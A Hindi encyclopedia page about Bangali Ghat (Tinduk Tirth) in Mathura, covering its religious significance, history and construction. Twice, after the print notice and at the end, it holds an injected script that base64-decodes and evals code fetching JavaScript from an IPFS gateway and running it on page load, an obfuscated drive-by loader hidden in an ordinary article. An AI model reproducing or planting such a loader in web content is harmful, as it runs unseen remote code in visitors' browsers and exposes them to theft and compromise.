बंगाली घाट

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्थानीय सूचना
बंगाली घाट

Ghats-of-Yamuna-5.jpg
मार्ग स्थिति: यह मथुरा के परिक्रमा मार्ग पर स्थित है।
आस-पास: द्वारिकाधीश मन्दिर, सती बुर्ज, विश्राम घाट, स्वामी घाट
पुरातत्व: निर्माणकाल- 1600 ई.
वास्तु:
स्वामित्व: उत्तर प्रदेश सरकार
प्रबन्धन:
स्त्रोत: इंटैक
अन्य लिंक:
अन्य:
सावधानियाँ:
मानचित्र:
अद्यतन: 2009

बंगाली घाट / Bangali Ghat

तिन्दुक तीर्थ

अस्ति क्षेत्रं परं गुह्म तिन्दुकं नाम क्रमत:।
तस्मिन् स्नातो नरो देवि ! मम लोके महीयते।।[१]

यह भी गुह्म तीर्थ है। यहाँ स्नान करने पर भगवद् धाम की प्राप्ति होती है। पास ही में दण्डी घाट है जहाँ श्री चैतन्य महाप्रभु ने स्नान किया था और अपने नृत्य एवं संकीर्तन से सभी को मुग्ध कर दिया था। आजकल इसे बंगाली घाट भी कहते हैं

इतिहास

कहा जाता है कि इसका निर्माण वृन्दावन के गोविन्द देव मन्दिर के गोसाईं ने करवाया था। यहाँ मुख्य मार्ग के सामने बंगाली वैष्णवों के प्रमुख का निवास है।

वास्तु

इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है। छह बुर्जों और तीन छतरियों से इसे सुसज्जित किया गया है।

टीका-टिपण्णी

  1. सभी–आदिवाराह पुराण

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>